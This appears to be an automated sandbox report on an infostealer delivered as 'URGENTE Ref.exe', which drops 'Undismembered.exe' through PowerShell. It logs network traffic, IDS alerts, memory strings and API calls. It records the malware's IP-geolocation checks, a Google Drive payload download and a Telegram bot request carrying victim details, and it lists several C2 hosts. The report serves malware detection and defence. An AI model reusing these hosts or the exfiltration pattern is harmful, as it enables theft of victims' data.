Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:579569%0D%0ADate%20and%20Time:%2011/03/2025%20/%2007:39:26%0D%0ACountry%20Name:%20United%20States%0D%0A%5B%20579569%20Clicked%20on%20the%20File%20If%20you%20see%20nothing%20this's%20mean%20the%20system%20storage's%20empty.%20%5D HTTP/1.1Host: api.telegram.orgConnection: Keep-Alive

Source: Joe Sandbox View	IP Address: 132.226.8.169 132.226.8.169
Source: Joe Sandbox View	IP Address: 149.154.167.220 149.154.167.220

Source: Joe Sandbox View

ASN Name: DINAHOSTING-ASES DINAHOSTING-ASES

Source: Joe Sandbox View	JA3 fingerprint: 54328bd36c14bd82ddaa0c04b25ed9ad
Source: Joe Sandbox View	JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e
Source: Joe Sandbox View	JA3 fingerprint: 37f463bf4616ecd445d4a1937da06e19

Source: unknown	DNS query: name: checkip.dyndns.org
Source: unknown	DNS query: name: reallyfreegeoip.org

Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.6:49703 -> 132.226.8.169:80
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.6:49700 -> 132.226.8.169:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.6:49706 -> 104.21.32.1:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.6:49704 -> 104.21.32.1:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.6:49708 -> 104.21.32.1:443
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.6:49696 -> 142.250.185.142:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.6:49702 -> 104.21.32.1:443

Source: global traffic

TCP traffic: 192.168.2.6:63196 -> 82.98.167.108:587

Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1zH4lzTrOb74mkiGTG8MqxioQ1lqpMPyE HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0Host: drive.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /download?id=1zH4lzTrOb74mkiGTG8MqxioQ1lqpMPyE&export=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0Cache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive

Source: unknown

HTTPS traffic detected: 104.21.32.1:443 -> 192.168.2.6:49701 version: TLS 1.0

Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1zH4lzTrOb74mkiGTG8MqxioQ1lqpMPyE HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0Host: drive.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /download?id=1zH4lzTrOb74mkiGTG8MqxioQ1lqpMPyE&export=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0Cache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:579569%0D%0ADate%20and%20Time:%2011/03/2025%20/%2007:39:26%0D%0ACountry%20Name:%20United%20States%0D%0A%5B%20579569%20Clicked%20on%20the%20File%20If%20you%20see%20nothing%20this's%20mean%20the%20system%20storage's%20empty.%20%5D HTTP/1.1Host: api.telegram.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive

Source: global traffic	DNS traffic detected: DNS query: drive.google.com
Source: global traffic	DNS traffic detected: DNS query: drive.usercontent.google.com
Source: global traffic	DNS traffic detected: DNS query: checkip.dyndns.org
Source: global traffic	DNS traffic detected: DNS query: reallyfreegeoip.org
Source: global traffic	DNS traffic detected: DNS query: api.telegram.org
Source: global traffic	DNS traffic detected: DNS query: mail.bsp.com.es

Source: global traffic

HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0Date: Mon, 10 Mar 2025 07:39:37 GMTContent-Type: application/jsonContent-Length: 55Connection: closeStrict-Transport-Security: max-age=31536000; includeSubDomains; preloadAccess-Control-Allow-Origin: *Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection

Source: Undismembered.exe, 0000000A.00000002.2495516741.000000002076C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://51.38.247.67:8081/_send_.php?L
Source: Undismembered.exe, 0000000A.00000002.2495516741.0000000020581000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://aborters.duckdns.org:8081
Source: Undismembered.exe, 0000000A.00000002.2495516741.0000000020581000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anotherarmy.dns.army:8081
Source: Undismembered.exe, 0000000A.00000002.2495516741.0000000020581000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.org
Source: Undismembered.exe, 0000000A.00000002.2495516741.0000000020581000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.org/
Source: Undismembered.exe, 0000000A.00000002.2495516741.000000002077B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mail.bsp.com.es
Source: Undismembered.exe, Undismembered.exe, 0000000A.00000000.1599838202.0000000000409000.00000008.00000001.01000000.00000009.sdmp, URGENTE Ref.exe, Undismembered.exe.2.dr	String found in binary or memory: http://nsis.sf.net/NSIS_Error
Source: URGENTE Ref.exe, Undismembered.exe.2.dr	String found in binary or memory: http://nsis.sf.net/NSIS_ErrorError
Source: powershell.exe, 00000002.00000002.1603604758.000000000625A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://nuget.org/NuGet.exe
Source: powershell.exe, 00000002.00000002.1601132582.0000000005346000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: powershell.exe, 00000002.00000002.1601132582.0000000005346000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: powershell.exe, 00000002.00000002.1601132582.00000000051F1000.00000004.00000800.00020000.00000000.sdmp, Undismembered.exe, 0000000A.00000002.2495516741.0000000020581000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: powershell.exe, 00000002.00000002.1601132582.0000000005346000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/wsdl/
Source: Undismembered.exe, 0000000A.00000002.2495516741.0000000020581000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://varders.kozow.com:8081
Source: powershell.exe, 00000002.00000002.1601132582.0000000005346000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: Undismembered.exe, 0000000A.00000002.2496698754.000000002185C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org?q=
Source: powershell.exe, 00000002.00000002.1601132582.00000000051F1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore6lB
Source: powershell.exe, 00000002.00000002.1601132582.0000000005346000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/winsvr-2022-pshelp
Source: Undismembered.exe, 0000000A.00000002.2495516741.0000000020663000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org
Source: Undismembered.exe, 0000000A.00000002.2495516741.0000000020663000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot
Source: Undismembered.exe, 0000000A.00000002.2495516741.0000000020663000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot/sendMessage?chat_id=&text=
Source: Undismembered.exe, 0000000A.00000002.2495516741.0000000020663000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:579569%0D%0ADate%20a
Source: Undismembered.exe, 0000000A.00000003.1728189274.00000000040E2000.00000004.00000020.00020000.00000000.sdmp, Undismembered.exe, 0000000A.00000003.1792265177.00000000040C9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://apis.google.com
Source: Undismembered.exe, 0000000A.00000002.2496698754.000000002185C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: Undismembered.exe, 0000000A.00000002.2496698754.0000000021897000.00000004.00000800.00020000.00000000.sdmp, Undismembered.exe, 0000000A.00000002.2496698754.000000002185C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: Undismembered.exe, 0000000A.00000002.2496698754.0000000021897000.00000004.00000800.00020000.00000000.sdmp, Undismembered.exe, 0000000A.00000002.2496698754.000000002185C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: Undismembered.exe, 0000000A.00000002.2495516741.0000000020710000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chrome.google.com/webstore?hl=en
Source: Undismembered.exe, 0000000A.00000002.2495516741.0000000020710000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chrome.google.com/webstore?hl=en4
Source: powershell.exe, 00000002.00000002.1603604758.000000000625A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/
Source: powershell.exe, 00000002.00000002.1603604758.000000000625A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 00000002.00000002.1603604758.000000000625A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/License
Source: Undismembered.exe, 0000000A.00000002.2478474026.0000000004038000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/
Source: Undismembered.exe, 0000000A.00000002.2478474026.0000000004038000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/_
Source: Undismembered.exe, 0000000A.00000002.2479186635.0000000005CB0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/uc?export=download&id=1zH4lzTrOb74mkiGTG8MqxioQ1lqpMPyE
Source: Undismembered.exe, 0000000A.00000002.2478474026.0000000004073000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/uc?export=download&id=1zH4lzTrOb74mkiGTG8MqxioQ1lqpMPyE-
Source: Undismembered.exe, 0000000A.00000002.2478474026.0000000004073000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/uc?export=download&id=1zH4lzTrOb74mkiGTG8MqxioQ1lqpMPyEK
Source: Undismembered.exe, 0000000A.00000002.2478474026.00000000040A3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/
Source: Undismembered.exe, 0000000A.00000003.1792265177.00000000040C9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/download?id=1zH4lzTrOb74mkiGTG8MqxioQ1lqpMPyE&export=download
Source: Undismembered.exe, 0000000A.00000002.2478474026.00000000040A3000.00000004.00000020.00020000.00000000.sdmp, Undismembered.exe, 0000000A.00000003.1792265177.00000000040C9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/n
Source: Undismembered.exe, 0000000A.00000002.2496698754.000000002185C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: Undismembered.exe, 0000000A.00000002.2496698754.0000000021897000.00000004.00000800.00020000.00000000.sdmp, Undismembered.exe, 0000000A.00000002.2496698754.000000002185C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtabv20-
Source: Undismembered.exe, 0000000A.00000002.2496698754.000000002185C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: Undismembered.exe, 0000000A.00000002.2496698754.000000002185C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://gemini.google.com/app?q=
Source: powershell.exe, 00000002.00000002.1601132582.0000000005346000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Pester/Pester
Source: powershell.exe, 00000002.00000002.1603604758.000000000625A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://nuget.org/nuget.exe
Source: Undismembered.exe, 0000000A.00000002.2495516741.00000000205CD000.00000004.00000800.00020000.00000000.sdmp, Undismembered.exe, 0000000A.00000002.2495516741.000000002063C000.00000004.00000800.00020000.00000000.sdmp, Undismembered.exe, 0000000A.00000002.2495516741.0000000020663000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org
Source: Undismembered.exe, 0000000A.00000002.2495516741.00000000205CD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org/xml/
Source: Undismembered.exe, 0000000A.00000002.2495516741.0000000020663000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org/xml/8.46.123.189
Source: Undismembered.exe, 0000000A.00000002.2495516741.00000000205F7000.00000004.00000800.00020000.00000000.sdmp, Undismembered.exe, 0000000A.00000002.2495516741.000000002063C000.00000004.00000800.00020000.00000000.sdmp, Undismembered.exe, 0000000A.00000002.2495516741.0000000020663000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org/xml/8.46.123.189$
Source: Undismembered.exe, 0000000A.00000003.1728189274.00000000040E2000.00000004.00000020.00020000.00000000.sdmp, Undismembered.exe, 0000000A.00000003.1792265177.00000000040C9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ssl.gstatic.com
Source: Undismembered.exe, 0000000A.00000002.2496698754.0000000021897000.00000004.00000800.00020000.00000000.sdmp, Undismembered.exe, 0000000A.00000002.2496698754.000000002185C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/v20
Source: Undismembered.exe, 0000000A.00000003.1728189274.00000000040E2000.00000004.00000020.00020000.00000000.sdmp, Undismembered.exe, 0000000A.00000003.1792265177.00000000040C9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google-analytics.com;report-uri
Source: Undismembered.exe, 0000000A.00000003.1728189274.00000000040E2000.00000004.00000020.00020000.00000000.sdmp, Undismembered.exe, 0000000A.00000003.1792265177.00000000040C9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com
Source: Undismembered.exe, 0000000A.00000002.2496698754.0000000021897000.00000004.00000800.00020000.00000000.sdmp, Undismembered.exe, 0000000A.00000002.2496698754.000000002185C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_alldp.ico
Source: Undismembered.exe, 0000000A.00000003.1728189274.00000000040E2000.00000004.00000020.00020000.00000000.sdmp, Undismembered.exe, 0000000A.00000003.1792265177.00000000040C9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.googletagmanager.com
Source: Undismembered.exe, 0000000A.00000003.1728189274.00000000040E2000.00000004.00000020.00020000.00000000.sdmp, Undismembered.exe, 0000000A.00000003.1792265177.00000000040C9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com
Source: Undismembered.exe, 0000000A.00000002.2495516741.0000000020741000.00000004.00000800.00020000.00000000.sdmp, Undismembered.exe, 0000000A.00000002.2495516741.0000000020732000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.office.com/
Source: Undismembered.exe, 0000000A.00000002.2495516741.0000000020741000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.office.com/4
Source: Undismembered.exe, 0000000A.00000002.2495516741.000000002073C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.office.com/lB

Source: unknown	Network traffic detected: HTTP traffic on port 49708 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49710 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49706 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49712 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63195
Source: unknown	Network traffic detected: HTTP traffic on port 49702 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49704 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49701 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49717
Source: unknown	Network traffic detected: HTTP traffic on port 49715 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49715
Source: unknown	Network traffic detected: HTTP traffic on port 49717 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49712
Source: unknown	Network traffic detected: HTTP traffic on port 49698 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49710
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49698
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49696
Source: unknown	Network traffic detected: HTTP traffic on port 49696 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 63195 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49708
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49706
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49704
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49702
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49701

Source: unknown	HTTPS traffic detected: 142.250.185.142:443 -> 192.168.2.6:49696 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.217.18.97:443 -> 192.168.2.6:49698 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.6:63195 version: TLS 1.2

Source: C:\Users\user\Desktop\URGENTE Ref.exe

Code function: 0_2_004051BA GetDlgItem,GetDlgItem,GetDlgItem,GetDlgItem,GetClientRect,GetSystemMetrics,SendMessageA,SendMessageA,SendMessageA,SendMessageA,SendMessageA,SendMessageA,ShowWindow,ShowWindow,GetDlgItem,SendMessageA,SendMessageA,SendMessageA,GetDlgItem,CreateThread,CloseHandle,ShowWindow,ShowWindow,ShowWindow,SendMessageA,CreatePopupMenu,AppendMenuA,GetWindowRect,TrackPopupMenu,SendMessageA,OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,SendMessageA,GlobalUnlock,SetClipboardData,CloseClipboard,

0_2_004051BA

System Summary

Powershell drops PE file

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\Undismembered.exe

Jump to dropped file

Source: C:\Users\user\Desktop\URGENTE Ref.exe	Code function: 0_2_0040322B EntryPoint,SetErrorMode,GetVersion,lstrlenA,#17,OleInitialize,SHGetFileInfoA,GetCommandLineA,GetModuleHandleA,CharNextA,GetTempPathA,GetTempPathA,GetWindowsDirectoryA,lstrcatA,GetTempPathA,lstrcatA,SetEnvironmentVariableA,SetEnvironmentVariableA,SetEnvironmentVariableA,DeleteFileA,OleUninitialize,ExitProcess,lstrcatA,lstrcatA,lstrcatA,lstrcmpiA,SetCurrentDirectoryA,DeleteFileA,CopyFileA,CloseHandle,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueA,AdjustTokenPrivileges,ExitWindowsEx,ExitProcess,		0_2_0040322B
Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe	Code function: 10_2_0040322B EntryPoint,SetErrorMode,GetVersion,lstrlenA,#17,OleInitialize,SHGetFileInfoA,GetCommandLineA,GetModuleHandleA,CharNextA,GetTempPathA,GetTempPathA,GetWindowsDirectoryA,lstrcatA,GetTempPathA,lstrcatA,SetEnvironmentVariableA,SetEnvironmentVariableA,SetEnvironmentVariableA,DeleteFileA,OleUninitialize,ExitProcess,lstrcatA,lstrcatA,lstrcatA,lstrcmpiA,SetCurrentDirectoryA,DeleteFileA,CopyFileA,CloseHandle,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueA,AdjustTokenPrivileges,ExitWindowsEx,ExitProcess,		10_2_0040322B

Source: C:\Users\user\Desktop\URGENTE Ref.exe	Code function: 0_2_004049F9	0_2_004049F9
Source: C:\Users\user\Desktop\URGENTE Ref.exe	Code function: 0_2_004064AE	0_2_004064AE
Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe	Code function: 10_2_004049F9	10_2_004049F9
Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe	Code function: 10_2_004064AE	10_2_004064AE
Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe	Code function: 10_2_0015C19B	10_2_0015C19B
Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe	Code function: 10_2_0015D278	10_2_0015D278
Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe	Code function: 10_2_00155370	10_2_00155370
Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe	Code function: 10_2_0015C468	10_2_0015C468
Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe	Code function: 10_2_0015C738	10_2_0015C738
Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe	Code function: 10_2_0015E988	10_2_0015E988
Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe	Code function: 10_2_001569A0	10_2_001569A0
Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe	Code function: 10_2_001529E0	10_2_001529E0
Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe	Code function: 10_2_0015CA08	10_2_0015CA08
Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe	Code function: 10_2_0015CCD8	10_2_0015CCD8
Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe	Code function: 10_2_00159DE0	10_2_00159DE0
Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe	Code function: 10_2_00153E09	10_2_00153E09
Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe	Code function: 10_2_0015CFAC	10_2_0015CFAC
Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe	Code function: 10_2_00156FC8	10_2_00156FC8
